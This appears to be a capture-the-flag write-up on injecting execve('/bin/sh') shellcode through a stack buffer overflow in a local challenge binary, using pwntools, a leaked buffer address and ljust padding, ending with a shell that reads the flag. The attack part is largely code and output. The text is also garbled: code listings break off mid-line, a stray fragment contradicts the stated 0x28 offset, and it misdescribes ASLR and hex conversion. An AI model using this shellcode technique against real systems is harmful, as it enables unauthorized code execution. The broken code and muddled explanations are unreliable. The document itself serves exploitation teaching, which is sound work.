We will practice writing shellcode against a binary with an executable stack. Note that this attack is relatively uncommon because executable stacks are turned off by default. Shellcode can often work better with other exploit techniques that alter the binary.
We check the security measures to see that shellcode is plausible:
checksec chall[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: NoThe mark that the stack is executable is our sign that we can use a shellcode attack. The reverse is not always true: a binary with a non-executable stack can still be vulnerable to shellcode attacks.
Running shellcode binaries are good ways to check the information we have:
./challYour buffer is at 0x7ffc295f7ca0What do you want to write there?AAAAThank you!When running the binary multiple times, you may expect the address of the buffer to change. This can be toggled to have the buffer be at the same address every run. This is called ASLR.
We can turn off ASLR locally to make our lives easier:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_spaceecho 2 | sudo tee /proc/sys/kernel/randomize_va_space.One of the first things you should notice is that there is no win() function or anything like that. This means that we will need to get the flag some other way. We also notice that the flag.txt file is never loaded (verifiable by strings chall | grep flag.txt). How can we solve this? If we can find some way to get a shell on the remote server, we can read the flag ourselves.
There is an obvious vulnerable fgets() call, and we know that the stack is executable. This means that we could write lots of shellcode in our buffer. Since we know where the address of our buffer is, we can then jump to that address and execute our shellcode.
We have two options for shellcoding challenges: write the assembly ourselves, or let a tool generate it. pwntools ships shellcraft, a library of ready-made assembly, and asm() to assemble it into raw bytes. Since this challenge is linux/x86_64 and we want a shell, we can ask for execve("/bin/sh"):
sc = asm(shellcraft.execve("/bin/sh", 0, 0))shellcraft expands this into the familiar execve shellcode, pushing /bin/sh onto the stack and invoking the syscall:
1 /* push b'/bin/sh\x00' */
2 mov rax, 0x101010101010101
3 push rax
4 mov rax, 0x101010101010101We need to consider how we're going to craft this payload. The only reference we have is the address of the buffer, so the shellcode needs to start there. We also need to overwrite the return pointer. The buffer sits 0x28 bytes from the saved return pointer, so that's how far we fill before placing the address of our shellcode.
Thankfully, Python has a way to fill a string to a desired size: ljust. ljust takes the new size of the string and the character used to fill the space. It left justifies the old string, padding the back. (There are other commands like rjust, but that's not useful for us here).
1payload = sc.ljust(0x28, b"\x90")
2payload += p64(buf)0x20 bytes, barely enough to hold our shellcode. As the shellcode runs, its own push instructions grow the stack downward into the shellcode itself, clobbering the instructions that are about to execute. To avoid this, we nudge the stack pointer out of the way first with a couple of throwaway pops before the real shellcode:sc = asm("pop rax\n pop rax\n" + shellcraft.execve("/bin/sh", 0, 0))How do we get the address of buf, where we're writing to? Pwntools has a method that lets us receive data, so we can receive that address and convert it into a buffer.
There are multiple methods to receive data from the process. By far, the most useful is recvuntil(), which takes an argument of the string you want to match when receiving data. At the first instance it finds the passed string, it will stop receiving data. This means that we should do this in two parts:
1p.recvuntil(b"Your buffer is at ")
2buf = int(p.recvline().strip(), 16)Let's break this one down:
Your buffer is at 0x7ffc3731f440..strip() removes the new line at the end.int(x, 16) converts a string with a hex value (i.e. 0x7ffc3731f440) into a hexadecimal.This is everything we need to craft an exploit.
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p =This gets a shell, and then we can cat flag.txt to read the flag!
python3 solution.py[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No[+] Starting local process './chall': pid 149806[*] buf: 0x7ffc24565140[*] Switching to interactive modeWhat do you want to write there?Thank you!$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}